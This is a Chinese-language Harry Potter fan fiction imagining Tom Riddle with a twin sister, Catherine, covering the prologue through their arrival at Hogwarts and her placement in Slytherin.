《【hp】假如里德尔是个妹控》 1. 楔子 《【hp】假如里德尔是个妹控》全本免费阅读 哈利躺在一片迷雾中,一片与他以前从未见过的与众不同的迷雾。他周围的环境并没有被雾气遮掩,更恰当地说是那些雾气还没来得急去形成他周围的景物。他躺在上面的地板似乎一片空白,只是一个简单的能承载东西的平面。 他坐了起来,他的身上没有伤口,他摸了摸自己的脸,他根本没有戴眼镜。 一阵噪音通过他周围这些无形的虚无传到了他的耳边。那是一个什么东西挣扎着拍打带着枷锁的翅膀的声音,那是一个令人感到同情的声音,同时也令人不安。他有一种很不舒服的感觉,好像他在鬼鬼祟祟地偷听一样,有些可耻。 他站起身,看了看四周。他是不是在有求必应屋里?他越往远看,看见的东西就越多。他的头顶上是一个在阳光下闪闪发亮的玻璃半球形屋顶,也许这里是一个宫殿。一切都是寂静的,除了那些从离迷雾不远处的某个地方传来的哀号声…… 哈利开始慢慢地感觉到了不安,周围的事物开始在他眼前出现。一个宽敞的空间,明亮而干净,比学校的礼堂还大的大厅,以及一个闪亮的半球形天花板,这里十分空荡,只有他一个人,除了―― 他后退了一步,他看见了发出那个声音的东西,它的形状看起来像一个裸体的婴儿,它蜷缩在地板上,皮肤很粗糙,好像被剥了皮,它躺在一个凳子下面,不知为什么好像被憋住了一般,吃力地喘着气。 他害怕它,尽管它只是一个很小很脆弱,像受伤的婴儿一样的东西,他还是不想靠近它。然而他还是慢慢地向它走去,并随时准备着转身跑回来。很快地,他已经近到可以碰到它了,但是他还是不敢这么做,他觉得自己很懦弱。他应该去安慰它为它减轻痛苦,即使它憎恶地排斥着他。 “你帮不了它。” 当他在它周围转来转去的时候,邓布利多向他走来,脚步轻快而挺拔,他身穿着一件破旧的深蓝色长袍。 “哈利。”他张开手臂,他的双手都是白皙而完整的。“你是一个很棒的小伙子,你很勇敢,是一个勇敢的人,来,我们一起走。” 哈利吃惊地跟着邓布利多大步离开了那哀号的无皮婴儿。前面有两把椅子,但哈利之前并没有注意到它们,它们被放置在不远处的又高又亮的天花板下面。邓布利多在一把椅子上坐下,而哈利坐进了另一把椅子,他愣愣地盯着自己以前的校长的脸庞。邓布利多银色的长发和胡须,半月眼镜后面的睿智的蓝眼睛,还有鹰钩鼻:一切都同他记忆中的一模一样,但是……他不是死了吗? 哈利和自己人生的导师邓布利多交谈着,他时而颤抖着肩膀向他们身后那个在凳子底下躺着的受了伤还在发抖的生物望去。 “那是什么,教授?”他问。 “我们谁也帮不上忙的东西罢了。”邓布利多说。 他们继续忽略婴儿的哭声谈论着。 “所以当你见到斗篷时就放弃了寻找死圣?” “哦,是的。”邓布利多微弱地说。看上去他是强迫自己面对着哈利的眼睛。“你知道发生了什么,你知道的。不过你不会比我更轻视我自己。” “可我没有轻视你。” “以后你会的。”邓布利多说。他深深地呼吸,“你知道我的妹妹得病的秘密,那是麻瓜干的,让她变成了那个样子。你知道我可怜的父亲是如何寻找他们报仇,如何被判了刑,如何在阿兹卡班死去的。你也知道我的妈妈用尽一生来照顾阿莉安娜。 “我憎恨这一切,哈利。” 邓布利多坦率而冷淡的说了这一切。他的目光越过哈利的头顶,看向远方。 “我是极有天赋的,我是才华横溢的。我想要逃离。我想要出人头地。我想要得到荣誉。 “别误解我,”他说,痛苦在他的脸上显现,使他看上去又变回了老人,“我爱他们,我爱我的父母,我爱我的弟弟妹妹。但是我是自私的,哈利,比你――一个非常无私的人――能够想象得到的要自私得多。 “所以,在我的母亲死去后,我承担起了照顾有病的妹妹和任性的弟弟的职责,我既愤怒又悲痛地回到了我的村庄。我想这使我陷入困境而且浪费了我的时间。就在这个时候,他来了……” 邓布利多再次直视着哈利的双眼。 “格林德沃。你简直无法想象他的想法是怎样吸引了我,哈利,让我着迷。麻瓜被我们用武力强迫去做一些对我们有用的事。我们巫师胜利了。格林德沃和我,成了两个年轻的光荣领袖。 “哦,我还是有顾虑的。但我用空洞的语言抚慰我的良心。一切都会变好的,任何伤害麻瓜的行为都会带给巫师无数好处。在我内心深处,我会不知道格林德沃是个什么样的人吗?我想我知道,但是我闭上双眼,不去理睬。如果我们的计划实现了,我所有的梦想都会成真。 “而且在我们计划的核心,就是死圣!它们令他那么着迷,它们令我们俩那么着迷!那个无懈可击的魔杖可以引导我们拥有极端的力量!那块回魂石对他而言――虽然在他面前我假装我不知道――是一支阴尸军队,而对我而言,我承认,那意味着我父母的重生,我肩负着重大的使命 “至于斗篷……不知道为什么,我们从来没有过多的讨论过斗篷,哈利。我们两个可以不借助斗篷而很好的隐藏自己,依靠魔法,当然,是那种你可以保护主人和遮挡其他人的魔法。我想,如果我们找到了它,可能会对藏起阿莉安娜很管用。但是我们对斗篷的最主要的兴趣在于它是那三样东西的组成部分,传说中人只有得到所有三样东西才能征服死亡,那个被我们认定为是不可能被征服的东西。 “无敌的死神!格林德沃和邓布利多!癫狂的两个月,噩梦般的两个月,使我疏忽了遗留下来的我的两个家庭成员。 “然后,你 2. chapter1 《【hp】假如里德尔是个妹控》全本免费阅读 1926年12月25日,圣诞节。 已经是傍晚,雪下得很大,四周的房子里都散发着暖黄色的灯光,人们都坐在家中舒适的餐桌旁,享受着和家人们团聚的快乐。 街道上已经看不到人影了,除了一个穿着十分单薄破烂的女人,她的肚子高高的隆起,神色无精打采,在一个黑暗的巷子口徘徊。 她的手中捧着一个金黄色的挂坠盒,她不断哆嗦着,一边哈着气,一边似乎在犹豫要不要走进这条黑色的巷子。 最终,一番踌躇之后,她走了进去。 由于是圣诞节,在外面的人已经很少,只有几个穿着怪异的人靠在墙边打盹,试图熬过最冷的寒冬,幽暗的巷子深处只有零星几家还开着的店闪烁着冷光。 女人走得很缓慢,每路过一家店,她都会进去,但是很快又仓皇地退出来。直到她走进一家写着“博金-博克魔法商店”的店里。一个有着油腻黑发的男人出现在柜台前,他是卡拉克塔库斯·博克。 “女士,要买点什么?” “不,不是买……”女人的神色有些犹豫,她亮出手中的金色挂坠盒问道,“这是我们家族的传家宝,我想卖掉,你愿意出多少钱?” “嗯……”那个男人一听到是要卖东西,神色立刻冷了下来。他敷衍地掏出一个单片眼镜假装仔细地打量这个挂坠盒,实际则是用眼睛偷瞄着面前苍白且无精打采的女人。 “喔,这是梅林的东西,真的,是他最喜欢的茶壶。”女人试探性地说道。 博克抽出魔杖对着挂坠盒念了几个咒语,挂坠盒始终打不开。他很快明白了这个挂坠盒的珍贵,而眼前的女人似乎毫无察觉。 “十个加隆,不能再多了。”他说。 “才十加隆?可是,可是——”那个女人显得十分失望。 “爱卖不卖!”他心中有些紧张,害怕女人会坐地起价,假装没好气地准备离开。她刚刚说这是一个茶壶?哈哈,不识货的蠢女人。 女人很显然也犹豫了,她不断地在原地跺着脚,一些积雪从她的肩膀和头发上滑落。 她狠了狠心,刚准备叫住店主,但是这时,挂坠盒像是感应到自己要被抛弃一般,发出一阵暖光。 女人愣住了,似乎是想到了什么,她默默地握紧了那枚挂坠盒,闭了闭眼。 算了,也许剩下的一点钱能撑到生下她的孩子。 打定了主意,再次睁眼时她的眼神已经变得坚定了起来。她小声地对已经走开的店主说了一声“不卖了。”不等博克再加码,就转身毅然决然地踏入风雪之中。 * 女人名叫梅洛普,大约一周后,她在一个孤儿院里生下了自己的两个孩子。 心灰意冷的她选择放弃魔法生产,这大大消耗了她的精力,当她在生下自己的女儿之后,已经累得几乎睁不开眼。 科尔夫人将一个小时前出生的哥哥送到 3. chapter2 《【hp】假如里德尔是个妹控》全本免费阅读 比较年轻的阿不思·邓布利多的长头发和长胡子都是赤褐色的。他来到马路这一边,顺着人行道大步流星地往前走去,他身上那件考究的紫红色天鹅绒西服吸引了许多好奇的目光。 比较年轻的邓布利多穿过一道大铁门,走进了一片光秃秃的院子。 院子后面是一座四四方方、阴森古板的楼房,四周围着高高的栏杆。他走上通向前门的几级台阶,敲了一下门。过了片刻,一个系着围裙的邋里邋遢的姑娘把门打开了。 “下午好,我跟科尔夫人约好了,我想,她是这里的总管吧?” “哦,”那个姑娘满脸困惑地说,一边用锐利的目光打量着邓布利多那一身古怪的行头,“嗯……等一等……科尔夫人!”她扭头大声叫道。 哈利听见远处有个声音大喊着回答了她。那姑娘又转向了邓布利多。 “进来吧,她马上就来。” 邓布利多走进一间铺着黑白瓷砖的门厅。整个房间显得很破旧,但是非常整洁,一尘不染。大门还没在他身后关上,就有一个瘦骨嶙峋、神色疲惫的女人快步朝他们走来。她的面部轮廓分明,看上去与其说是凶恶,倒不如说是焦虑。她一边朝邓布利多走来,一边扭头吩咐另一个系着围裙的帮手。 “……把碘酒拿上楼给玛莎!比利·斯塔布斯把他的痂都抓破了,埃里克·华莱的血把床单都弄脏了――真倒霉,竟染上了水痘!”她像是对着空气说话,这时她的目光落在了邓布利多身上。她猛地刹住脚步,一脸惊愕,仿佛看见一头长颈鹿迈过了她的门槛。 “下午好。”邓布利多说着伸出了手。 科尔夫人目瞪口呆地看着他。 “我叫阿不思·邓布利多。我给您写过一封信,请求您约见我,您非常仁慈地邀请我今天过来。” 科尔夫人眨了眨眼睛。她似乎这才认定邓布利多不是她的幻觉,便强打起精神说道,“噢,对了。好――好吧――你最好到我的房间里来。是的。” 她领着邓布利多走进了一间好像半是客厅半是办公室的小屋。这里和门厅一样简陋寒酸,家具都很陈旧,而且不配套。她请邓布利多坐在一把摇摇晃晃的椅子上,她自己则坐到了一张杂乱不堪的桌子后面,紧张地打量着他。 “我信上已经对您说了,我来这里,是想跟您商量商量里德尔兄妹的事,给他们安排一个前程。”邓布利多说。 “你是他们的亲人?”科尔夫人问。 “不,我是一位教师,”邓布利多说,“我来请汤姆到我们学校去念书。” “凯瑟琳不去吗?” “嗯……如果条件允许,她可以和汤姆一起去。” “那么,这是一所什么学校呢?” “校名是霍格沃茨。”邓布利多说。 “你们怎么会对这对兄妹感兴趣呢?” “我们认为具有我们寻找的一些特质。” “是你在信里提到过的?汤姆赢得了一份奖学金?这怎么会呢?他从来没有报名申请啊。” “噢,他一出生,我们学校就把他的名字记录在案――” “谁替他注册的呢?他的亲戚?他父亲?” 毫无疑问,科尔夫人是一个非常精明、让人感到有些头疼的女人。邓布利多显然也是这么认为的,他从天鹅绒西服的口袋里抽出了魔杖,同时又从科尔夫人的桌面上拿起一张完全空白的纸。 “给。”邓布利多说着把那张纸递给了她,一边挥了一下魔杖,“我想,您看一看这个就全清楚了。” 科尔夫人的眼神飘忽了一下,随即又专注起来,她对着那张空白的纸认真地看了一会儿。 “看来是完全符合程序的。”她平静地说,把纸还给了邓布利多。然后她的目光落在一瓶杜松子酒和两只玻璃杯上,那些东西几秒钟前肯定不在那儿。 嗯――我可以请你喝一杯杜松子酒吗?”她用一种特别温文尔雅的声音说。 “非常感谢。”邓布利多笑眯眯地说。 很明显,科尔夫人喝起杜松子酒来可不是个新手。她把两个人的杯子斟得满满的,一口就把自己那杯喝得精光。她不加掩饰地咂巴咂巴嘴,第一次朝邓布利多露出了微笑,邓布利多立刻趁热打铁。 “不知道你是不是可以跟我说说里德尔兄妹的身世?他们好像是在这个孤儿院里出生的?” “没错,”科尔夫人说着又给自己倒了一些杜松子酒,“那件事我记得清清楚楚,因为我当时刚来这里工作。那是一个除夕之夜,外面下着雪,冷得要命。一个天气恶劣的夜晚。那个姑娘,年纪比我当时大不了多少,踉踉跄跄地走上前门的台阶。咳,这种事儿我们经历得多了。我和丽达夫人把她搀了进来,不到一小时她就生下了她的儿子,又过了艰难的一个小时,她又有了一个女儿……然后她没来得及看自己孩子几眼就死了。” 科尔夫人意味深长地点了点头,又喝了一大口杜松子酒。 “她临死之前说过什么话没有?”邓布利多问,“比如,关于那两个孩子的父亲?” “是啊,她说过。”科尔夫人手里端着杜松子酒,面前是一位热心的听众,这显然使她来了兴致。 “我记得她给儿子起名的时候说过‘我希望他长得像他爸爸。’说老实话,她这么希望是对的,因为她本人长得并不怎么样――然后,她告诉我,孩子随他父亲叫汤姆,中间的名字随她自己的父亲叫马沃罗――是啊,我知道,这名字真古怪,对吧?我们怀疑她是不是马戏团里的人――她又说那男孩的姓是里德尔。然后轮到女儿的时候她已经很疲倦了,我只听她似乎说得是凯瑟琳,然后就发现她已经断气了。 “后来,我们就按照她说的给两个孩子起了名字,可是从来没有什么汤姆、马沃罗或里德尔家的人来找这两个孩子,也不见他们有任何亲戚,所以他们就留在了孤儿院里,一直到今天。” 科尔夫人几乎是心不在焉地又给自己倒了满满一杯杜松子酒。她的颧骨上泛起两团红晕。然后她说,“他们俩都是古怪的孩子。” “是啊,”邓布利多说,“我也猜到了。” “他们还是婴儿的时候就很古怪,几乎从来不哭。”科尔夫人再次陷入回忆。“不过他们还是有一些差异的。” “差异,哪方面差异呢?”邓布利多温和地问。 “具体来说的话,他们都有些古怪。但是凯瑟琳在一个事故之后就变得内向了很多……嗯,我们几乎没见过她开口说话了。也是在那件事之后,总有孩子表示他们有时会被无缘无故被她推倒——有一股无形的力量。” “嗯……这或许就是我所预料到的她的特殊情况。”邓布利多点点头。 “那她还能跟着她哥哥离开这里去——去你们那里上学吗?” “我恐怕得在见到她之后才能下定论。”邓布利多依旧温和地说。“说说汤姆吧。他的古怪又体现在什么地方呢?” “是这样,他――” 4. chapter3 《【hp】假如里德尔是个妹控》全本免费阅读 “我们到了。”科尔夫人说,他们在三楼的楼梯平台上拐了一个弯,在一条长长走廊的第一个房间门口停住了。她敲了两下门,走了进去。 “汤姆?凯瑟琳?有人来看你们了。这位是邓布顿先生――对不起,是邓德波先生,呃……他来告诉你们――唉,还是让他自己跟你们说吧。” 科尔夫人关上了门。这是一间空荡荡的、没有任何装饰的小屋,只有一个旧衣柜和两张铁床。一个男孩坐在灰色的毛毯上,两条长长的腿伸在前面,手里拿着一本书在读。他身边还坐着一个乖巧的小女孩,似乎他们本来正在一起看那本书。 那个男孩就是汤姆·里德尔,他的脸上看不到一点儿冈特家族的影子。梅洛普的遗言变成了现实——他简直就是他那位英俊的父亲的缩小版。对十一岁的孩子来说,他的个子算是高的,有着微卷的黑发,脸色苍白。 汤姆身边的女孩和他长得十分相像,是一眼就能看出他们有血缘关系的那种——只是和哥哥比起来,她显得瘦小很多;她就是凯瑟琳。和其他孤儿院的孩子不同,她穿着一条白色的睡裙,微卷的黑发及腰,脖子上挂着一个金色的挂坠盒。看见有陌生人进来,凯瑟琳条件反射般怯懦地往哥哥身后躲去。汤姆则警觉地直起腰,把妹妹挡在身后。他微微眯起眼睛,打量着邓布利多怪异的模样和装扮。 一时间屋内没有人说话。 “你好,汤姆。”邓布利多说着走上前伸出了手。 男孩迟疑了一下,然后伸出手去握了握。 “你好,凯瑟琳。”邓布利多又朝那个女孩伸出了手。女孩看向自己的哥哥,直到汤姆微微颔首,她才如确认没危险一般和邓布利多握了握手。 邓布利多把一张硬邦邦的木头椅子拉到里德尔兄妹的床边,这样一来,他们俩看上去就像是两位住院病人和一位探视者。 “我是邓布利多教授。” “‘教授’?”汤姆重复了一句,他露出很警觉的神情。“是不是就像‘医生’一样?你来这里做什么?是不是她叫你来给我妹妹检查检查的?” 他指着刚才科尔夫人离开的房门。 “不,不是。”邓布利多微笑着说。 “我不相信你。”汤姆说,“她想让人来给我妹妹‘看看病’,是不是?说实话!” 最后三个字他说得凶狠响亮,气势吓人。这是一句命令,看来他以前曾经多次下过这种命令。他突然睁大了眼睛,狠狠地盯着邓布利多,而邓布利多没有回答,只是继续和蔼地微笑着。过了几秒钟,汤姆的目光缓和下来,但他看上去似乎更警觉了。 “你是谁?” “我已经告诉你了。我是邓布利多教授,我在一所名叫霍格沃茨的学校里工作。我来邀请你到我的学校――你的新学校去念书,如果你愿意的话。” 听了这话,汤姆的反应大大出人意外。他腾地从床上跳起来,拉着妹妹远离了邓布利多,神情极为恼怒。 “这么说,你的目标不是‘治疗’我妹妹?” “当然……”邓布利多的视线有片刻的飘忽,他看向被汤姆护在身后的女孩,似乎想起了什么人。“我是在邀请你,去学校里读书。” “你骗不了我!你是从疯人院里来的,是不是?‘教授’,哼,没错――告诉你吧,我不会去的,明白吗?我走了,我妹妹怎么办?那个老妖婆才应该去疯人院呢。艾米·本森和丹尼斯·毕肖普对凯瑟琳做了什么,你可以自己去问他们,他们会告诉你的!” “我不是从疯人院来的,”邓布利多耐心地说,“我是个老师,如果你能心平气和地坐下来,我就跟你说说霍格沃茨的事儿。当然啦,如果你不愿意去那个学校,也没有人会强迫你――” “我倒想看看谁敢!”汤姆轻蔑地说。 “霍格沃茨,”邓布利多继续说道,似乎没有听见汤姆的最后那句话,“是一所专门为具有特殊才能的人开办的学校――” “我没有疯!” “我知道你没有疯。霍格沃茨不是一所疯子的学校,而是一所魔法学校。” 沉默。 汤姆·里德尔呆住了,脸上毫无表情,但他的目光快速地轮番扫视着邓布利多的两只眼睛,似乎想从其中一只看出他在撒谎。 “魔法?”他轻声重复道。 “不错。”邓布利多说。 “我的那些本领,是……是魔法?” “你有些什么本领呢?” “各种各样。”汤姆压低声音说,兴奋的红晕从他的脖子向凹陷的双颊迅速蔓延。他显得很亢奋。“我不用手碰就能让东西动起来。我不用训练就能让动物听我的吩咐——我妹妹……她以前也可以……”他在侃侃而谈的时候一提起妹妹,忽然声音就小了下去,邓布利多看到凯瑟琳把头低了下去,假装在端详那个她已经看了千万遍的挂坠盒。 “所以,从那之后,谁敢碰我妹妹,我就能让谁倒霉。我只要愿意,就能让他们受伤,让他们害怕我们。” 但是他说话的时候双腿在颤抖。他假装没事一样走上前,重新坐在床上,垂下了脑袋,盯着自己的两只手,像在祈祷一样。 “我早就知道我们与众不同。”他对着自己颤抖的双手说,“我早就知道。我早就知道这里头有点什么。” “对,你的想法没有错。”邓布利多说,他收敛笑容,目光专注地看着汤姆,“你是一个巫师。” 汤姆抬起头。他的面孔一下子变了透出一种狂热的欣喜。 “你也是个巫师?” “是的。” “证明给我看。” 汤姆立刻说道,口气和刚才那句“说实话”一样盛气凌人。 邓布利多扬起眉毛。 “如果,按我的理解,你同意到霍格沃茨去念书――” “我当然同意!” “那你就要称我为‘教授’或‘先生’。” 汤姆的表情僵了一刹那,接着他突然以一种判若两人的彬彬有礼的口气说,“对不起,先生。我是说――教授,您能不能让我看看――?” 邓布利多从西服上装的内袋里抽出魔杖,指着墙角那个破旧的衣柜,漫不经心地一挥。 衣柜立刻着起火来。 汤姆腾地跳了起来。他发出愤怒的低吼——他和妹妹的所有财产大概都在那个衣柜里。可是,汤姆刚要向邓布利多兴师问罪,火焰突然消失了,衣柜完好无损。 汤姆看看衣柜,又看看邓布利多,然后,他指着那根魔杖问道,“我从哪儿可以得到一根?” “到时候会有的。”邓布利多说。 “那我妹妹呢?先生?” 汤姆感受到身后有人拽住了他的胳膊,这才后知后觉地想起来邓布利多几乎忽略了他的妹妹,并且从未说过他会邀请凯瑟琳一并前往霍格沃茨。“她也会魔法。”想到这,他又补了一句,试图加强自己的盘问语气。 邓布利多回过头,他犀利的蓝眼睛再次看向拽着哥哥胳膊的小女孩。她从邓布利多进屋起就一直一言不发,邓布利多望着她,蓝色的眸子看不出情绪。 在来之前,他大概就知道汤姆的妹妹经历过什么。这几乎是场悲剧的意外,和他的妹妹阿莉安娜几乎无二。 无法控制自己魔法的人,是不能进入霍格沃茨的。 于是他艰难地开口向兄妹俩解释,“在霍格沃茨,我们不仅教学生使用魔法,还教学生控制魔法——这很重要。因此,对于那些没能力控制自己魔法的孩子……”他露出一个复杂的表情,顿了顿继续说道,“很遗憾,他们不能去魔法学校上学。” “先生。” 正当邓布利多准备继续另外一个话题的时候,汤姆身后的女孩发出了怯生生的声音。这让房间里的另外两人都露出了意外的神情。 “我想我能控制好自己的魔法。”凯瑟琳继续说。 邓布利多看着她,他似乎有一丝的迟疑,但还是摇了摇头。“事情没有你想的那么简单,并不是你给我一个承诺,我就能允许你入学的。” “求你了,先生。”凯瑟琳没有放弃。她继续说道,“我可以只是去旁听,我真的很想学会控制魔法……” “你的情况很特殊,孩子。你没有控制你自己魔法的能力。” “那我也不要离开哥哥——就算,就算我真的控制不住我的魔法,我的哥哥比我厉害的多,他肯定会帮我的。” 邓布利多的眼神闪烁了一下,他不受控制地想起了自己的弟弟阿不福思和妹妹阿莉安娜。他不得不承认,这种情况太特殊了,他怀着对妹妹病的憎恨、怀着对她的死的愧疚二十多年,面对着 5. chapter4 《【hp】假如里德尔是个妹控》全本免费阅读 从前,凯瑟琳对自己神秘的能力感到高兴。当她和哥哥使用魔法从房间的窗户跳下去,并轻盈地落在地上的时候;当他们在草坪上玩耍时,她能够随意捡起一朵枯萎的花并让那朵花在她手心重新绽放时候;还有当哥哥推着她荡秋千、她可以荡得很高很高的时候…… 她叫凯瑟琳·里德尔,她有一个哥哥,叫汤姆·马沃罗·里德尔。他们从记事起就住在伍氏孤儿院,面色凶恶的科尔夫人告诉他们,他们的母亲在生下他们不久之后就去世了,他们想要离开孤儿院,只能等待名叫“汤姆·里德尔”、或者叫“马沃罗”或者姓“里德尔”的亲戚来把他们接走。 但是他们始终没有等到这样的人。 由于特殊的能力,凯瑟琳和哥哥汤姆一直相依为命,他们的关系比一般的兄妹都要紧密。但他们的性格并不相似,凯瑟琳在过去很胆小,或者可以说是懦弱。相比之下她的哥哥汤姆则尖锐和威严许多。他们因为“怪异”的能力而被孤儿院的其他孩子们孤立,但是只有凯瑟琳会被真正地欺负。 或许在几年以前,凯瑟琳还没有那么和哥哥形隐不离的——她希望能交到一些朋友,和他们分享自己有趣的能力。但是她低估了这些孩子内心深处对非常规事物的恐惧。 她七岁那年。哥哥正在楼上看书,她躲过了科尔夫人的丽达太太的巡视,使用自己的能力溜出了孤儿院。 她一个人自由地穿行在伦敦的街道上,然后,她看见了几个穿着华丽的男生正在玩滚铁环。 她凑了过去,对那几个比她高出许多的男孩打了个招呼,希望也能玩玩这个东西。 “哪里来的野丫头,也配碰我们的东西?”其中一个衣着华丽且高大的男生粗鲁地拒绝了她。 原本拒绝了凯瑟琳也就作罢,凯瑟琳撇撇嘴准备离开。但是她的表情却引起了另外一个男生的不满。 “哟,不带你玩你还有脾气了?”另外一个男生举起铁棍,敲了敲凯瑟琳的肩膀。 “别碰我!”凯瑟琳大声喊道,她浑身散发的魔力直接将男孩手中的铁棍弹飞了。那个男孩像是触到了烙铁一般,快速地收回了自己的那只手,手心里赫然出现一道红色像是鞭子一样的痕迹,他的面色开始变得恐惧——另外两个男生也一样。 “你……你……”第三个男生拿着铁环的手不住地颤抖。 凯瑟琳原本也并没有打算把事情弄得这么糟,但是她原本引以为傲的特殊能力却总在一些她下意识的情况下把事情搞砸。 “对不起!”她一边道歉,一边低着头想要逃走,突然有什么东西兜头落下,然后狠狠勒住了她的脖子。她慌忙用手去扒拉那个套住她的铁环。 “你刚才怎么做到的?”第一个男生反应过来,他难以置信但又恶狠狠地拦住了她的去路。 “不是……我……” “爸爸!快来!这个乞丐划伤了托米的手!”她在挣扎之际,身后用铁环勒住她的男生正在大声招呼着从远处奔来的一个男人。 她的大脑开始嗡嗡作响。 或许原本她蹲下身子能从铁环下脱身逃走,但是当时她根本没有想到。几乎没有任何阻拦地,她的魔法开始发挥作用,铁环直接断裂了,但是魔力却并没有停息,它肆无忌惮地朝四周发射着,然后变成无形地鞭子抽打在那三个男孩身上,三个男孩被打得摔倒在地,一边惊恐地尖叫,一边捂着脸、打着滚试图躲避。 凯瑟琳自己也吓坏了,她想指挥自己的双脚赶紧离开的,但是她似乎被自己恐怖的魔力定住了,她颤抖着双唇用微弱的声音祈求道:“停下,快停下。” 可是三个男孩依旧痛苦地打着滚,华丽的衣服也被划破了。 远处的男人冲了过来,凯瑟琳从未见过如此骇人的表情,他狰狞如野兽的面孔逐渐放大。等到尽在咫尺的时候凯瑟琳才想逃跑,但是为时已晚,男人像拎小鸡一样把她提了起来,而这个时候,抽打三个男孩的空气鞭子也停了下来。 “就是你干的?”那个高大凶恶的男人用令人凯瑟琳颤抖的声音质问道。看到自己儿子被划得破烂的衣服和被抽肿的脸,他的愤怒更上一层楼。“说话!” “我不是故意的……”凯瑟琳想要辩解,明明是他们用铁环要勒死她。她的声音颤抖着,精神已经到了快崩溃的边缘。 而接下来的事……她不想再回忆了。 男人把她扔在死胡同里,她身边是臭气熏天的垃圾桶,遍布着尿/骚味和食物腐烂的酸臭味。男人用烟头烫着她,而刚才被她魔法吓到的三个男生只敢躲得远远地朝她丢着石子,嘴里不断地骂着“怪胎”、“野种”、“乞丐”等词汇,她开始变得精神恍惚,蜷缩在角落里面瑟瑟发抖,她躲避着,又无路可躲。 她忘记那一天是怎么回到房间里的。 但是好像最后她哥哥找来了,哥哥拥有着比她更强大的魔力,也比她更会操控这种能力。就连那个成年男人也被他的气势吓坏了。 成年男人加上三个高大 6. chapter5 《【hp】假如里德尔是个妹控》全本免费阅读 凯瑟琳和汤姆在孤儿院的时光大多都是灰暗的。要说一定有什么苦中作乐的时光,那就是他们一起读书的时候,其中就包括了很多的麻瓜童话故事。 在凯瑟琳在被麻瓜袭击后那那段时间,他们读到了《格林童话》里面的白雪公主的故事: 白雪公主是一个年轻美丽的小公主,优雅可爱,举止温柔,为人和善,对身边人充满爱意。她的美丽被她的继母邪恶王后所嫉妒,于是她逃离王宫,在森林里得到了七个小矮人的帮助。但因单纯,白雪多次被王后差点杀死,最后吃了施了魔咒的毒苹果而死。万幸的是,路过的白马王子用真爱之吻解除了魔咒,苏醒过来的白雪公主和王子过上了幸福的生活,而继母在慌乱中摔下悬崖死去。 书中写道,白雪公主“唇红如玫瑰,发黑如乌木,皮肤白嫩如雪”,汤姆抬起头,看向自己专注读书的妹妹,他说,“我看这个公主就是照着你写的。” “噢,是吗?”凯瑟琳并没有很在意,她半开玩笑地问,“那如果我是这里面的白雪公主,那么哥哥是谁?白马王子?” 汤姆愣了一下,然后他摇了摇头:“不,我不是白马王子。” “那你是谁?” “我是黑魔王。”汤姆平静地说,在他说出这个名字的时候,脸上写满了向往。 “可是……书里没有黑魔王这个角色呀。” 汤姆看了认真思考的妹妹一眼,说道,“黑魔王存在在那个世界里,只是没有被写进去而已。他无所不知、无所不能、拥有至高无上的力量。” 汤姆说起谎来,一直脸不红心不跳的。他低头看向凯瑟琳,发现他妹妹正用大大的黑眼睛盯着他,似乎是信了。 他赶忙移开了视线。 “白马王子只是黑魔王的仆人,他奉命去解救白雪公主。他会的魔法远超过白雪公主的继母,所以他给白雪公主报了仇,用魔法把继母推下了悬崖,然后继母就这样……摔死了。” ……一阵沉默。 “可是——”凯瑟琳忽然说道,“白马王子不是用的‘真爱之吻’才解除的魔咒吗?如果王子是被黑魔王派去的,他怎么会付出真心?” “那是因为……因为黑魔王什么都知道,他无所不能。”汤姆摊开的手掌握成了拳,仿佛他已经是一个无所不知无所不能的魔王,全世界的人无论高低贵贱都会臣服在他的脚下。 “哦,原来是这样。”凯瑟琳半信半疑地说道。“还有一个问题。那黑魔王为什么要无缘无故地去解救白雪公主呢?” 汤姆露出一个又好气又好笑的表情,“你哪来这么多问题,他想救就救了。” 或许多年之后,他们都不再记得这个童话故事,但是冥冥之中却一语成谶——哥哥成为了连名字都不能称呼的黑魔王,而妹妹则永远长眠。 若要说有什么和童话故事中写的不一样,那就是黑魔王尽管法力无边,却也没能唤醒他的白雪公主。 * 阿芒多·迪佩特正和阿不思·邓布利多一起站在霍格沃茨天文台上,他是一个瘦削的人,有着齐肩的灰白色头发和白色长胡子,穿着一件中规中矩的巫师袍,他看起来确实很老,但是没有麻瓜能猜出他今年其实已经300岁了。 邓布利多还穿着那件拜访伍氏孤儿院时的华丽紫色袍子,当他站到迪佩特校长身边时,比这位老校长高出了一个头。夏夜的暖风吹起了他们的衣角和胡须,迪佩特发出一声叹息。 “我听说了,你私自同意让一个默然者进入霍格沃茨学习?” “别这么紧张,阿芒多 7. chapter6 《【hp】假如里德尔是个妹控》全本免费阅读 格兰芬多有四个学院,它们分别是:格兰芬多,赫奇帕奇,拉芬克劳和斯莱特林。 当凯瑟琳看到哥哥被分到斯莱特林的时候,眼底流露出无限的崇拜和向往。 其实这种向往从哥哥在对角巷挑选魔杖的时候就已经开始了。哥哥有着一根非常漂亮的紫杉木魔杖,但他从不允许凯瑟琳拿着它使用。 “你控制不好魔法,把我的魔杖弄坏了怎么办?” 确实,一根魔杖就要七个加隆。奥利凡德说过,是魔杖挑选主人,所以哥哥的魔杖也大概率不会看她入眼。 他们为了省钱,课本(汤姆只买了自己的)和袍子都买的是二手货,而现在凯瑟琳跟着汤姆坐在了斯莱特林长桌。等到他回到斯莱特林寝室,就能换上学院专属的绿色外袍,而凯瑟琳只能一直穿着没有分院的黑色袍子。 斯莱特林的级长巴蒂·克劳奇是一个看起来很严肃的六年级学生,他很正经地欢迎了所有进入斯莱特林的一年级新生,在汤姆身后,他看到了没有分院直接跟着汤姆准备在斯莱特林长桌入座的凯瑟琳。 “她是我妹妹凯瑟琳。她不用分院,我在哪,她在哪。”汤姆简洁地说。 “这还是第一次听说。”巴蒂略带怀疑地说道,他微微抬起的手变成了请的姿势,而不是和凯瑟琳握手——他直接邀请他们落座。 坐在汤姆对面的还有一年级的布莱克姐妹,柳克丽霞和沃尔布加,她们都长着一头棕灰色的头发,泡肿眼,皮肤微微泛黄,在看到混血的汤姆·里德尔带着他属性未知的妹妹坐在这个长桌对面的时候,发出了不明显的轻蔑神情。凯瑟琳对沃尔布加很有印象,因为那个会说话的帽子还没沾到她的头发就大声地喊出了:“斯莱特林!”然后她露出了“果然如此”的满意神情,几乎是大摇大摆地走到了斯莱特林长桌,并且,巴蒂·克劳奇对待他的态度非常恭敬,据说是因为她是纯血二十八族里的大小姐。 凯瑟琳对这个女生的印象并不是很好,因为在大厅排队的时候,她就当着所有一年级新生的面讽刺一个麻瓜巫师是“臭烘烘的泥巴种”,并且说她“把整个大厅都然臭了”。 